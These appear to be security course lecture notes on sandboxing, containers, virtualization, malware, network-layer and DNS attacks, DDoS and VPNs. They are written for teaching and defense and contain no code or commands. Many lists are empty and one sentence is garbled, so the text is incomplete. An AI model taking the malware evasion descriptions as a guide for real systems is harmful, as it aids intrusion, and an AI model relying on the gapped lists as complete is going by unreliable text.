Early implementations operated entirely in user space, often using the ptrace debugging interface to monitor processes. Janus (UC Berkeley) and Systrace (OpenBSD) are examples of this approach that relied on user-level processes for policy enforcement. Each system call was intercepted and checked against a policy before being allowed or denied. A policy might allow file access under a specific directory but deny network activity.

This approach had significant weaknesses:

User-level interposition demonstrated feasibility but was not robust enough for production use.

Kernel-Integrated Filtering: seccomp-BPF

Linux moved sandbox enforcement into the kernel with Secure Computing Mode (seccomp). Modern systems use seccomp-BPF, which adds programmable filtering through BPF bytecode. The process installs a filter that the kernel executes whenever it attempts a system call, inspecting the system call number and arguments and returning actions such as:

Once installed, filters cannot be relaxed—only replaced with stricter ones.

Advantages:

Limitations:

Seccomp-BPF is now widely used in browsers, container runtimes, and service managers to reduce kernel attack surfaces.

AppArmor

While seccomp-BPF provides powerful system call filtering, it cannot inspect pathnames passed as arguments to system calls. For example, it can allow or deny the open() system call entirely, but cannot distinguish between opening /etc/passwd versus /tmp/file. This limitation exists because seccomp-BPF operates at the system call interface and can only examine raw arguments like file descriptors and memory addresses, not the filesystem paths they reference.

AppArmor addresses this gap by enforcing Mandatory Access Control (MAC) policies based on pathnames. It operates as a Linux Security Module (LSM) in the kernel and mediates access to files and directories by checking the requested path against a per-program security profile. An AppArmor profile can specify rules like "allow read access to /var/www/**" or "deny write access to /etc/**."

AppArmor complements seccomp-BPF: seccomp-BPF restricts which system calls a process can make, while AppArmor restricts which resources those calls can access. Together, they provide defense in depth—one limiting the interface to the kernel, the other limiting access to specific objects within the filesystem namespace.

Language-Based Sandboxing

Some sandboxes operate entirely in user space by running code inside managed execution environments called process virtual machines. These environments provide language-level isolation by interpreting or compiling bytecode to a restricted instruction set.

Common examples include:

These environments emulate a CPU and manage memory internally. Programs run as bytecode (which may be interpreted or compiled just-in-time) and cannot directly access hardware or invoke system calls. All external interaction goes through controlled APIs.

Strengths:

Limitations:

Language-based sandboxes often coexist with kernel-level sandboxes. For instance, a web browser runs JavaScript inside an interpreter sandbox while using seccomp or Seatbelt to confine the browser process itself.

Sandbox Evolution

Application sandboxing evolved from restricting what a process can see to restricting what it can do:

OS-Level Isolation Primitives

System call sandboxes confine individual processes, but most applications consist of multiple cooperating processes. To contain such systems, the operating system must isolate groups of processes and the resources they share. Linux provides three kernel mechanisms for this purpose:

Together, these mechanisms form the foundation for containers.

Namespaces

A namespace gives a process its own private copy of part of the system's global state. Processes that share a namespace see the same view of that resource, while those in different namespaces see distinct views. Each namespace type isolates one kernel subsystem.

Linux supports several namespace types:

Each namespace acts like a self-contained copy of a subsystem. Namespaces let multiple isolated environments run on a single kernel, providing the illusion of separate systems without hardware virtualization. However, they hide and partition resources but do not limit consumption.

Control Groups (cgroups)

A control group (cgroup) manages and limits resource usage. While namespaces define what a process can see, cgroups define how much of each resource it can use. A cgroup is a hierarchy of processes with limits on resource usage, where each type of resource is managed by a controller that measures consumption and enforces restrictions.

Common controllers manage:

A service can belong to several cgroups with different controllers. The kernel tracks usage per group and enforces limits through scheduling and memory reclamation. If a process exceeds its memory quota, the kernel's out-of-memory (OOM) handler terminates it without affecting other groups.

Namespaces and cgroups together isolate processes functionally and economically: each process group sees only its own resources and consumes only what it is permitted.

Capabilities

Traditional Unix privilege management treated the root user (UID 0) as all-powerful, checking only whether the process's effective user ID was zero. This binary model violated the principle of least privilege.

Capability Model

Capabilities break up root's privilege into specific pieces. The kernel no longer assumes that UID 0 can do everything by default; each privileged operation now requires the matching capability. Each capability represents authorization for a specific class of privileged operation, such as configuring network interfaces (CAP_NET_ADMIN) or loading kernel modules (CAP_SYS_MODULE). Under this model, UID 0 alone no longer implies complete control—the kernel checks both the user ID and capability bits before allowing any privileged action.

Common Capabilities

Linux defines over 40 distinct capabilities. Some important examples include:

For instance, a web server can be granted only CAP_NET_BIND_SERVICE to bind to port 80 while running as a non-root user. Even if compromised, it cannot mount filesystems, modify network routing, or change the system clock.

Applying Capabilities

Capabilities can be attached to executable files or granted to running processes. Once dropped, capabilities cannot be regained unless the process executes another binary that has them defined. Entering a user namespace alters capability behavior—a process can appear to be root inside the namespace, but its capabilities apply only within that namespace, not to the host.

Root Under Capabilities

A process with UID 0 must still have the appropriate capabilities to perform privileged operations; the UID alone is not sufficient. A non-root process given a specific capability can perform only the operation covered by that capability. Processes can permanently relinquish capabilities, allowing them to perform initialization requiring privilege and then continue safely with minimal rights, implementing the principle of least privilege.

Integration

Together, these mechanisms implement the principle of least privilege at the operating-system level, restricting what a process can see, what it can consume, and what it can do.

Containerization

Containerization builds on namespaces, control groups, and capabilities to package applications and their dependencies into lightweight, portable units that behave like independent systems. Each container has its own processes, filesystem, network interfaces, and resource limits, yet all containers run as ordinary processes under the same kernel.

Purpose and Design

Containers were introduced primarily to simplify the packaging, deployment, and distribution of software services. They made it possible to bundle an application and its dependencies into a single, portable image that could run the same way in development, testing, and production. The underlying mechanisms were developed for resource management and process control, not for security. As container frameworks matured, these same mechanisms also provided practical isolation, making containers useful for separating services, though not as a strong security boundary.

Container Operation

Traditional virtualization runs multiple operating systems by emulating hardware, with each virtual machine including its own kernel and system libraries. This offers strong isolation but duplicates system components, consuming memory and startup time. Containers achieve similar separation with less overhead by virtualizing the operating system interface—the process and resource view provided by the kernel—rather than hardware.

How the three mechanisms combine in containers:

This layered design allows thousands of isolated services to run on one host without the duplication inherent in full virtual machines.

How Containers Work

Containers are a structured way to combine kernel features into a managed runtime. Each container starts as an ordinary process, but the container runtime (such as Docker, containerd, or LXC) configures it with:

  1. New namespaces for isolated process IDs, network stack, hostname, and filesystem

  2. Cgroups that define resource limits

  3. Restricted capabilities so even root inside the container has limited privileges

  4. A filesystem built from an image—a prebuilt snapshot containing all files, libraries, and configuration

Container runtimes automate the setup of kernel mechanisms and apply consistent, minimal-privilege defaults. Images are layered and can be stored in registries, making it easy to distribute and deploy applications consistently across different environments. This combination of isolation, resource control, and portability is why containers became central to modern software deployment.

Security Characteristics

Containers improve isolation but do not create a full security boundary. All containers share the same kernel, so a vulnerability in the kernel could allow one container to affect others. Within a container, the root user has administrative control inside that namespace but not on the host. However, kernel bugs or misconfigured capabilities can weaken that boundary.

To strengthen isolation, systems often combine containers with additional mechanisms:

Containers provide meaningful isolation for ordinary services but are not appropriate for untrusted or hostile code without additional containment layers.

Practical Benefits

Beyond isolation, containers provide significant advantages:

The same kernel features that provide containment also make containers predictable to manage and easy to orchestrate at scale.

Virtualization

Virtualization moves the boundary of isolation to the hardware level. A virtual machine (VM) emulates an entire computer system including CPU, memory, storage, and network interfaces. Each VM runs its own operating system and kernel, independent of the host. From the guest operating system's perspective, it has full control of the hardware, even though that hardware is simulated. This approach provides strong isolation because the guest cannot directly access the host's memory or devices.

Virtualization Mechanics

Virtualization creates the illusion that each operating system has exclusive access to the hardware. A software layer called a hypervisor or Virtual Machine Monitor (VMM) sits between the hardware and the guest operating systems. It intercepts privileged operations, manages memory and device access, and schedules CPU time among the guests.

When a guest operating system issues an instruction that would normally access hardware directly, the hypervisor traps that instruction, performs it safely on the guest's behalf, and returns the result. With modern hardware support, most instructions run directly on the CPU, with the hypervisor only intervening for privileged operations. This allows near-native performance while maintaining separation between guests.

Modern processors include hardware support for virtualization, allowing the CPU to switch quickly between executing guest code and hypervisor code, reducing overhead.

Hypervisor Types

Type 1 (bare-metal) hypervisors run directly on hardware and manage guest operating systems, with the hypervisor effectively serving as the host OS. They are more efficient and used in data centers and clouds.

Type 2 (hosted) hypervisors run as applications under a conventional operating system and use that OS's device drivers. They are easier to install on desktop systems and used for testing, development, or running alternative OSes.

Containers vs. Virtual Machines

A container isolates processes but shares the host kernel. A virtual machine isolates an entire operating system with its own kernel. This key difference means:

VMs can run different operating systems simultaneously; containers must use the host kernel. In practice, many systems combine both: running containers inside VMs to balance efficiency with strong isolation.

Virtualization Advantages

Security Implications

Virtualization offers strong isolation because the hypervisor mediates all access to hardware. A guest cannot normally read or modify another guest's memory or the hypervisor itself. However, vulnerabilities still exist:

Hypervisors are typically small and security-hardened, but their central role makes them high-value targets.

Containment Through Virtualization

From the perspective of containment, virtualization represents a deeper boundary. Process-level and container-level mechanisms rely on kernel enforcement. Virtualization adds a distinct kernel for each guest and isolates them with hardware-level checks. This separation makes virtualization the preferred choice for workloads requiring strong security guarantees, multi-tenant separation, or different operating systems.

In practice, many systems combine layers: containers run inside virtual machines, and those virtual machines run under a hypervisor on shared hardware. This layered approach provides both efficiency and assurance. Virtualization represents the deepest layer of software-based isolation—shifting enforcement from the kernel to the hardware level.

Key Takeaways

Containment operates at multiple layers, each providing different trade-offs between security, performance, and flexibility:

The progression from sandboxing to virtualization represents increasingly deeper isolation boundaries: from controlling what a process can see and do, to isolating groups of processes sharing a kernel, to separating entire operating systems with distinct kernels. Each layer builds on the principle of least privilege and defense in depth, restricting access and limiting the impact of compromise. Modern systems often combine multiple layers—running sandboxed applications in containers inside virtual machines—to balance efficiency with strong security guarantees.


Week 9-10: Malware

Malware is software intentionally designed to perform unwanted, unexpected, or harmful actions on a target system. Three requirements: intentional (bugs don't count), unwanted by the legitimate owner, and causes harm or performs unauthorized actions.

Zero-Day and N-Day Exploits

Malware often relies on software vulnerabilities to gain access or escalate privileges. Two common terms describe how attackers exploit flaws based on when they become known.

Zero-day attacks reflect gaps in vendor and researcher awareness; N-day attacks expose weaknesses in operational security and patch management. Both remain central to modern malware campaigns.

Malware Classification by Function

Self-Propagating Malware

The critical distinction is agency -- whether human action is required.

Virus: Attaches to host files (executables or documents with macros). Requires user action to spread—running infected programs or opening infected documents. When activated, seeks other files to infect.

Worm: A self-contained program that spreads autonomously across networks without user intervention. It scans for vulnerable systems and automatically attempts to infect them.

Key difference: Viruses need users to help them spread; worms spread on their own.

Stealth and Unauthorized Access

Trojan Horse: Appears to be legitimate software that users willingly install. it combines an overt purpose (cache cleaning, system optimization) with covert malicious actions (installing backdoors, spyware, ransomware).

Backdoor: Provides remote access bypassing normal authentication. It allows attackers to return to compromised systems at will.

Rootkit: Operates at the kernel or system level to evade detection. It intercepts system calls and lies to security tools, concealing files, processes, network connections, and registry entries.

Financial Malware

Ransomware: Encrypts files or locks systems, demanding payment for restoration. Some variants use double extortion—encrypting data while also exfiltrating it and threatening to publish stolen data.

Cryptojacking: Secretly uses the victim's computing resources to mine cryptocurrency. This causes degraded performance and increased power consumption.

Adware: Displays unwanted advertisements for revenue, often bundled with free software.

Data Theft

Spyware: Monitors user activity without consent. This includes operations like keylogging, screen capture, and browser monitoring.

Keylogger: Records every keystroke to capture passwords, credit card numbers, and private messages.

Information Stealer: Targets stored credentials, browser data, cryptocurrency wallets, and other valuable information.

Remote Control

Bot/Botnet: Infected computers (bots, also known as zombies) controlled remotely and organized into networks (botnets) for coordinated attacks. Used for DDoS, spam distribution, and credential stuffing.

Remote Access Trojan (RAT): Provides the attacker with comprehensive remote control: file access, screen viewing, webcam/microphone activation, and command execution.

Destructive Malware

Logic Bomb: Remains dormant until specific conditions trigger it (date, event, command).

Wiper: Destroys data and systems without a financial motive, often used in geopolitical conflicts.

Nuisance Malware

Scareware: Falsely claims the system is infected to push fake security software purchases.

Browser Hijacker: Modifies browser settings to redirect users and track browsing activity.

How Malware Spreads

Malware employs three broad categories:

  1. Network-based attacks exploiting technical vulnerabilities

  2. User-assisted methods relying on human interaction

  3. Supply chain compromises poisoning trusted distribution channels.

1. Network-Based Propagation

2. User-Assisted Propagation

Attackers also use domain deception to mislead users into visiting malicious sites.

3. USB-Based Attacks

4. Supply Chain Attacks

Social Engineering

Social engineering manipulates human psychology rather than exploiting technical vulnerabilities. This is often the weakest link in security.

Psychological Manipulation Tactics

Common Attack Vectors

The Malware Lifecycle

Modern malware operates through a six-stage lifecycle rather than as a single program.

Stage 1: Infection and Delivery

Getting malware onto the target system through exploiting vulnerabilities, social engineering, physical access, supply chain compromise, or drive-by downloads. The initial payload is often just a small first stage that downloads the real malware.

Stage 2: Dropper and Loader

Dropper (or downloader): Downloads and installs the main malware from a remote server. Small and obfuscated, it performs environment checks (VM detection, antivirus status, OS version) before proceeding.

Loader: Includes payload embedded within itself, encrypted or compressed. Unpacks and executes the hidden payload.

Advantages: Smaller initial payloads are easier to deliver, malware can be updated easily (it's a separate component), environment detection avoids sandboxes, and flexible payload delivery.

Stage 3: Persistence Mechanisms

Ensures malware survives reboots. Malware often establishes multiple mechanisms for redundancy.

Windows:

Linux/macOS:

Cross-platform:

Stage 4: Trigger Conditions

Immediate execution: Runs as soon as installed (common for ransomware).

Time-based triggers:

Event-based triggers: Banking website visits, accessing specific files, system idle, reboot count, and presence of analysis tools.

Manual triggers: Waits for commands from C2 server; operators decide when to activate based on reconnaissance.

Delayed activation evades time-limited sandbox analysis and enables synchronized attacks.

Stage 5: Payload Execution

What malware actually does—its core functionality:

Stage 6: Propagation

Viruses: Infect other files on the same system. Spreading requires user action—sharing and opening infected files.

Worms: Spread autonomously. Typical cycle: infect, scan network, test vulnerabilities, exploit, copy and execute, repeat. Creates exponential growth.

Common methods: Email (address book contacts), network shares, removable media, network exploits, peer-to-peer networks, social media, APIs with stolen credentials.

Command and Control (C2 or C&C) Mechanisms

Attackers need communication channels to send commands, receive stolen data, and update malware. This is essential for bots, which often sit idle until instructed to launch attacks or download new payloads. The attacker’s challenge is to maintain communication without being noticed or blocked.

C2 Communication Methods

Malware uses a variety of mechanisms to exchange data with its controllers. These channels must work across firewalls and blend into normal traffic. Common communication strategies include:

C2 Evasion Techniques

These techniques help hide the location of C2 servers, disguise traffic patterns, and avoid simple blocking rules:

Evading Detection and Analysis

Code Obfuscation Techniques

Crypters: Encrypt the malware so that only encrypted data appears on disk; it's decrypted only at runtime. Security tools scanning files see only encrypted content.

Packers: Tools that compress executables and add a small unpacking stub. The real code appears only after the program runs.

Polymorphism: The malware mutates its wrapper code (decryptor or unpacking stub) using techniques such as code reordering, instruction substitution, and junk-code insertion. The payload stays the same. Each copy looks different enough to evade signature-based detection.

Metamorphism: The malware the malware’s entire code body using the same types of transformations (reordering, substitution, junk instructions) so each copy has a different internal structure. There is no constant core to match, which makes signature-based detection significantly harder.

Anti-Analysis Techniques

Virtual Machine Detection: Checks for VM artifacts (hardware IDs, VM-related files/processes, timing inconsistencies). Refuses to execute in detected VMs.

Sandbox Detection: Detects analysis environments through limited user activity, small number of files, short uptime. Remains dormant or behaves benignly.

Debugger Detection: Identifies debugging tools through API calls or debugging flags. Alters behavior or terminates when detected.

Time-based Evasion: Delays malicious activity using sleep functions or waits for specific dates/events. Evades automated analysis with time limits.

Side-Channel Attacks

Side-channel attacks exploit unintended signals rather than software flaws. Malware can leak data or receive commands by manipulating physical or observable system behavior, such as timing, power usage, or device LEDs.

An example is using the keyboard Caps Lock LED to blink encoded data (Bad Bunny), allowing a nearby camera or sensor to capture exfiltrated information. These channels bypass normal network defenses because they rely on observable side effects rather than network traffic.

Fileless Malware

Fileless malware operates entirely in memory without writing files to disk, making it significantly harder to detect since traditional antivirus scans files on disk.

PowerShell-based: Uses Windows PowerShell to download and execute code directly in memory.

Registry-based: Stores code in registry values rather than files.

Living off the land: Uses legitimate system tools (PowerShell, Windows Script Host) for malicious purposes.

Privilege Escalation

Once malware gains initial access, it often needs to escalate privileges to gain full system control and bypass security restrictions.

Kernel exploits: Exploits OS vulnerabilities for system-level access.

Privilege prompt bypasses: Avoid or subvert mechanisms that require user approval for elevated actions, such as Windows UAC or macOS authorization dialogs.

Ken Thompson's "Reflections on Trusting Trust" described perhaps the most insidious backdoor: one that evades even source-code inspection by hiding in the compiler itself, demonstrating that perfect security is impossible and trust is unavoidable at some level.

Defending Against Malware

No single defense is sufficient; each has gaps. Effective defense requires layered approaches.

Anti-Malware Software: Signature-Based Detection

Uses databases of known malware signatures: unique byte patterns identifying specific malware.

Strengths: Fast, accurate for known threats, low false positive rates.

Limitations: Requires updates for new threats; easily evaded through polymorphism and encryption.

Anti-Malware Software: Heuristic and Behavioral Analysis

Examines behavior and characteristics rather than exact signatures.

Static heuristics: Analyzes file structure without execution (suspicious API calls, unusual code patterns, obfuscation indicators).

Dynamic heuristics: Observes program behavior during execution (file modifications, registry changes, network connections, process creation).

Machine learning is often used to train models on malware/benign samples to identify suspicious characteristics. Heuristics are better at detecting new threats but have higher false positive rates and are more resource-intensive.

Sandboxing

Executes suspicious files in isolated environments to safely observe behavior.

Types: Virtual machines (complete OS isolation), application sandboxes (restrict program capabilities).

Benefits: Safe observation, detects unknown threats.

Application sandboxes are the dominant means of protecting mobile devices and are increasingly being adopted across other systems (but slowly). Virtual machines provide an environment for anti-malware software writers to test for threats.

Limitations: Sophisticated malware can detect and evade sandboxes ... or use techniques such as waiting several days or a certain number of reboots before activation.

Honeypots

Honeypots are isolated decoy systems that appear vulnerable or valuable but contain no real data. They attract attackers and record their activity, providing early warning of intrusions and insights into tools and techniques without risking production systems.

Access Control and Privilege Management

Restricting the ability of users to access files and other system resources restricts the ability of malware to do the same. It limits the damage from successful infections:

Email Security

Email has long been a popular channel for social engineering, often delivering malicious attachments or links behind seemingly trustworthy messages. Most email-based attacks depend on deception: impersonating legitimate senders.

Several mechanisms help receiving systems validate the origin and integrity of email:

Additional security measures focus on message content:

Patch Management

Regular software updates address known vulnerabilities and help avoid N-day attacks. Challenges include compatibility issues, testing requirements, and zero-day vulnerabilities (unknown to the vendor).


Week 10-11: Network security & DDoS

Network protocols were developed for cooperative environments and often lack authentication or integrity protections. Attackers exploit these assumptions to intercept, modify, or disrupt communication.

Link Layer Attacks (Layer 2)

Link-layer protocols operate entirely within the local network. Devices on the LAN are implicitly trusted, so an attacker with local access can exploit that trust.

CAM Overflow

Switches maintain a Content Addressable Memory (CAM) table that maps MAC addresses to specific switch ports. This allows the switch to forward unicast traffic privately rather than broadcasting it. CAM tables are finite.

In a CAM overflow attack, an attacker sends frames containing large numbers of fake MAC addresses. When the CAM table fills, legitimate entries age out and the switch begins flooding unknown-destination traffic out every port, exposing frames to anyone on the LAN.

Prevention
Managed switches support multiple defenses:

ARP Spoofing

ARP (Address Resolution Protocol) maps IP addresses to MAC addresses but provides no authentication. Any host can send unsolicited ARP replies, and most operating systems accept these messages.

In ARP cache poisoning (also known as ARP spoofing), , the attacker sends forged ARP replies, claiming to be another device (often the gateway). Victims update their ARP cache and send traffic to the attacker, who can inspect or modify it.

Prevention:

VLAN Hopping

VLANs segment a switch into isolated broadcast domains. VLAN hopping allows an attacker to inject or receive frames on a VLAN they are not assigned to.

Two approaches are used to get content from other VLANs:

Prevention: Disable automatic trunk negotiation, manually configure trunk ports, tag the native VLAN, and place unused switch ports in isolated VLANs.

DHCP Attacks

DHCP (Dynamic Host Configuration Protocol) assigns IP addresses, default gateways, and DNS servers. Clients accept the first server reply.

Two common attacks:

Prevention: Switches with DHCP snooping mark legitimate DHCP server ports as trusted and block DHCP responses on untrusted ports.

Network Layer Attacks (Layer 3)

The network layer routes packets between networks. Routers exchange routing information under the assumption that peers are honest.

IP Spoofing

IP spoofing involves forging the source IP address in outgoing packets. Attackers do this to evade identification, bypass simple filters, or craft reflection attacks.

Prevention: ISPs and enterprises should implement egress filtering, enforcing valid source prefixes (this is known as BCP 38-style filtering, but you don't have to know this).

Router Vulnerabilities

Routers maintain routing tables to determine where to send packets. If an attacker compromises a router, they can drop, reroute, or replicate large volumes of traffic.

Common router attacks include:

Prevention: Restrict administrative access, keep firmware updated, enforce strong authentication, and filter inbound routing updates.

BGP Hijacking

Border Gateway Protocol (BGP) connects networks known as Autonomous Systems (ASes). An Autonomous System is a set of IP networks under a single administrative domain (e.g., an ISP or a large organization).

ASes advertise IP prefixes: contiguous ranges of IP addresses they can route. Routers select routes based on these advertisements.

Because BGP does not validate prefix ownership, an AS can announce someone else’s prefix. Since routers prefer more specific prefixes (e.g., a /25 over a /24), attackers can redirect traffic at Internet scale.

Prevention:

RPKI (Resource Public Key Infrastructure) protects the origin of the route.
A Regional Internet Registry signs a certificate saying “Organization X owns this IP block.” Organization X signs a Route Origin Authorization (ROA) saying “AS Y is allowed to announce this block.” Routers that validate RPKI can reject unauthorized announcements.
BGPsec extends RPKI to validate the entire sequence of ASes in a route.
Each AS signs the route before forwarding it. The goal is to ensure no AS is added, removed, or modified. However, for BGPsec to work, every AS on the path must support BGPsec. Using it means routers must continuously process all digital signatures at line speed, imposing a significant computational burden on routers.

Transport Layer Attacks (TCP and UDP)

Transport protocols move data between applications.

TCP
Reliable, connection-oriented, ordered delivery. Uses sequence numbers and acknowledgments.
UDP
Unreliable, connectionless, no handshake, no sequence numbers.

Both of these protocols assume that end hosts behave honestly. Attackers exploit predictability in sequence numbers or lack of authentication.

TCP Session Hijacking

Early TCP implementations used predictable Initial Sequence Numbers (ISNs). An attacker who guessed the next sequence number could inject malicious packets into an existing session without seeing the traffic.

Prevention:

SYN Flooding

TCP allocates resources after receiving a SYN packet. In a SYN flood, attackers send many SYNs without completing the handshake, exhausting the server’s connection backlog.

Prevention:

TCP Reset Attacks

A forged RST packet with an acceptable sequence number forces an immediate connection teardown.

Prevention:

UDP Spoofing

UDP provides no handshake or sequence numbers, so attackers can forge source addresses effortlessly. This enables impersonation and reflection attacks.

Prevention:

DNS Attacks

DNS Basics

DNS resolves domain names to IP addresses. It depends on caching, unauthenticated replies, and a chain of delegations among authoritative servers.

DNS Pharming

Pharming redirects users to malicious sites even when they enter the correct domain name. This is a permanent change to the user's DNS setting or to the DNS resolver. Techniques include:

Prevention: Use endpoint defenses, enforce DHCP snooping, validate certificates, and deploy DNSSEC where possible.

DNS Cache Poisoning

Resolvers cache DNS responses. Attackers attempt to inject forged replies by matching the resolver’s transaction ID and arriving before the legitimate server.

Resolvers cache DNS answers. Attackers race the legitimate server by sending fake replies with guessed transaction IDs.

If a fake response arrives first and matches the transaction ID, the resolver caches it.

An enhanced attack (the Kaminsky attack, but you don't need to know the name) involves:

If accepted, the resolver caches the incorrect records, redirecting all users querying that resolver.

Prevention:

DNSSEC

DNSSEC adds digital signatures to DNS records. Clients validate them using a chain of trust anchored at the root. DNSSEC prevents record tampering and cache poisoning but does not encrypt traffic. However, it's more CPU-intensive and creates longer responses.

DNS Rebinding

DNS rebinding tricks browsers into interacting with internal network services through an attacker-controlled domain.

Steps:

  1. The victim visits an attacker-controlled site.

  2. The site returns a DNS record with very short TTL (e.g., TTL = 1) to force repeated DNS requests.

  3. JavaScript loads in the browser.

  4. The next DNS lookup returns a private IP address.

  5. The browser allows the request because the origin (scheme + host + port) is unchanged.

  6. JavaScript can now interact with internal devices or APIs.

Prevention:

Abandoned Domains (Sitting Ducks)

Some domains have broken DNS delegation (name servers that no longer exist).

If a DNS provider does not verify ownership, an attacker can “claim” such a domain and set new DNS records. Attackers can then serve malware or impersonate services.

Distributed Denial of Service (DDoS)

DDoS attacks overwhelm systems using massive amounts of traffic or by triggering expensive server operations.

Types of DDoS Attacks

Asymmetric Attacks

Attackers send cheap requests that force the defender to do expensive work.

Examples: heavy database lookups, intensive parsing, ICMP error processing.

Reflection and Amplification

Reflection attacks spoof the victim’s IP address so third-party servers send replies to the victim. Amplification uses services where small requests yield disproportionately large responses.

Common amplification services:

Botnets

Large sets of compromised devices, especially IoT systems, generate massive attack traffic. Botnets often use encrypted C2, fast-flux DNS, or domain-changing strategies.

Defenses

Network-level Defenses:

Application-level defenses:

Key Themes in Network Security


Week 11: VPNs

The Network Security Problem

The Internet's core protocols were designed without security. IP, TCP, UDP, and routing protocols have no built-in authentication, integrity checks, or encryption. This creates serious vulnerabilities:

We need security mechanisms that work despite these vulnerabilities, providing confidentiality, integrity, and authentication even when the underlying network is completely untrusted.

Transport Layer Security (TLS)

What TLS Provides

TLS creates a secure channel between two applications. After the initial handshake completes, applications communicate as if using regular TCP sockets, but with three critical guarantees:

TLS (Brief Review)

The TLS 1.3 handshake:

TLS 1.3 then uses AEAD encryption such as AES-GCM or ChaCha20-Poly1305.

AEAD (Authenticated Encryption with Associated Data) combines encryption and authentication in a single operation. Think of it as generating a keyed MAC concurrently with encryption, but more efficient than doing encrypt-then-MAC separately. Common algorithms are AES-GCM and ChaCha20-Poly1305.

Mutual authentication is possible but rarely used because deploying client certificates at scale is impractical; most applications authenticate clients with passwords or MFA inside the TLS channel.

Client Authentication

TLS supports mutual authentication, but client certificates are rarely used in practice:

Common practice: Authenticate clients after establishing the TLS connection using passwords, multi-factor authentication, or other mechanisms. TLS protects the confidentiality of these credentials.

TLS Limitations

While TLS solves many problems, it has important limitations:

Virtual Private Networks (VPNs)

As we saw, the Internet's core protocols were designed without security. TLS solves this at the transport layer, but each application must implement it separately.

Virtual Private Networks (VPNs) take a different approach by operating at the network layer, protecting all traffic between networks or hosts automatically. Once a VPN tunnel is established, every application benefits from its security without any changes.

Tunneling

Tunneling is the foundation of VPNs. A tunnel encapsulates an entire IP packet as the payload of another IP packet. This allows private addresses within a local area network (like 192.168.x.x) to communicate across the public Internet.

A gateway router on one network takes an outgoing packet destined for a private address on another network, wraps it inside a new packet addressed to the remote gateway's public address, and sends it across the Internet. The remote gateway extracts the original packet and delivers it to its destination.

Basic tunneling provides no security. The encapsulated data travels in unencrypted, endpoints are not authenticated, and there is no integrity protection.

What makes a VPN?

A VPN combines tunneling with three security properties:

Encryption ensures outsiders cannot read the encapsulated data, even if they capture packets on the public Internet.

Integrity protection through message authentication codes ensures outsiders cannot modify data without detection. Tampered packets are discarded.

Authentication ensures you are connected to the legitimate gateway, not an imposter. This typically uses certificates, pre-shared keys, or public key cryptography.

The formula: VPN = tunnel + encryption + integrity + authentication.

VPN Deployment Models

VPNs serve three primary purposes, each with different security implications.

Site-to-Site (Network-to-Network)

This was the original VPN use case. Organizations connect geographically separated networks through VPN tunnels between gateway routers. Computers on either network communicate as if on a single unified network, unaware that traffic is encrypted and tunneled.

Remote Access (Host-to-Network)

Individual computers connect to corporate networks from remote locations. The remote computer runs VPN client software that establishes a tunnel to the corporate VPN gateway. Once connected, the computer can access internal resources as if physically in the office.

Privacy VPNs (Host-to-Provider)

Commercial services like ExpressVPN, NordVPN, and ProtonVPN allow users to establish VPN connections to the provider's network, which then acts as a gateway to the Internet. Traffic appears to originate from the provider rather than the user's actual location.

These services protect against local eavesdropping (such as on public Wi-Fi networks) and can bypass geographic content restrictions. However, the VPN provider can see all your traffic. You are shifting trust from your ISP to the VPN provider, not eliminating surveillance. Whether this improves privacy depends entirely on whether you trust the provider more than your ISP.

VPN Protocols

VPN protocols have evolved over time, each with different design philosophies. Three protocols dominate VPN deployments, each with different design philosophies.

IPsec (earliest: 1990s)

IPsec was developed as the first standardized approach to network-layer security. It operates at Layer 3 (i.e., it does not use TCP or UDP) and is typically implemented in the operating system kernel. IPsec is a separate protocol from TCP and UDP, using unique protocol numbers in the IP header to identify the encapsulated content as being IPsec data.

IPsec consists of two separate protocols (use one or the other):

  1. The Authentication Header (AH) protocol provides authentication and integrity but not encryption.

  2. The Encapsulating Security Payload (ESP) provides authentication, integrity, and encryption. ESP is the standard choice today since it does everything AH does plus encryption.

IPsec operates in two modes:

  1. Tunnel mode encapsulates the entire original IP packet for network-to-network or host-to-network communication.

  2. Transport mode protects only the payload for direct host-to-host communication.

IPsec Cryptography: Both sides negotiate on the algorithms to use when the connection is set up. IPsec uses the IKE (Internet Key Exchange) protocol to negotiate keys and algorithms, which in turn uses Diffie–Hellman key exchange. AES-CBC or AES-GCM are used for confidentiality, and HMAC-SHA1/SHA2 for integrity.

Advantages of IPsec:

Disadvantages:

OpenVPN (early 2000s)

OpenVPN emerged as the first widely-adopted open-source VPN protocol. Unlike IPsec, it runs in user space (not the kernel) and uses TLS for the control channel.

OpenVPN communicates via an operating system's TUN (TUNnel) virtual network interface, which the operating system treats as a regular interface. Traffic destined for the VPN is routed to this interface, encrypted by the OpenVPN process, and sent as regular UDP or TCP packets.

OpenVPN separates communication into two channels:

Advantages of OpenVPN:

Disadvantages:

WireGuard (newest: 2016)

WireGuard takes a minimalist approach. Its entire codebase is approximately 4,000 lines (compared to hundreds of thousands for IPsec or OpenVPN), enabling formal verification of its cryptographic properties. It was incorporated into the Linux kernel in version 5.6 (March 2020).

WireGuard Cryptography

WireGuard makes opinionated choices rather than offering configuration options. There is no cipher negotiation; it uses exactly one set of modern algorithms: Elliptic Curve Diffie-Hellman for key exchange, ChaCha20 for encryption, Poly1305 for message authentication, and BLAKE2s for hashing (used for deriving keys). This eliminates vulnerabilities related to negotiation and downgrade attacks.

Each peer is identified by its public key rather than a certificate. Configuration requires generating key pairs, exchanging public keys out-of-band, and specifying which IP addresses should route through the tunnel.

Advantages of WireGuard:

Disadvantages:

Comparing the Protocols

The three protocols reflect different eras and design philosophies:

IPsec offers broad compatibility with enterprise equipment but has a complex configuration. It operates at the network layer in the kernel.

OpenVPN offers portability and the ability to bypass firewalls, but with some performance overhead. It runs in user space using TLS.

WireGuard offers simplicity and high performance with modern cryptography. It runs in kernel space with a minimal, formally-verified codebase.

Security Limitations

VPNs are not a complete security solution.

VPN Performance Considerations

VPNs come with performance overhead, though not all types are equally significant:

For corporate VPNs, server/gateway capacity can also become a bottleneck.


Week 12: Firewalls

Network Address Translation (NAT)

NAT was designed to conserve IPv4 addresses by letting many internal devices use private address ranges. A NAT router rewrites outbound packets and keeps a table so replies can be sent back to the correct internal system.

NAT operates at Layer 3 but must also inspect and modify Layer 4 headers (TCP/UDP ports) so it can track connections in its translation table.

NAT provides an important security benefit: external hosts cannot initiate connections to internal systems. The NAT router only creates translation table entries when internal hosts start connections, so it blocks all unsolicited inbound traffic by default. An external attacker can't send packets to 192.168.1.10 because that address isn't routable on the Internet, and even if they somehow could, the router has no translation entry for it.

This isn't perfect security since internal hosts can still make outbound connections that could be exploited, but it's a significant improvement over every internal device having a public IP address directly accessible from the Internet.

First-Generation Firewalls: Packet Filters

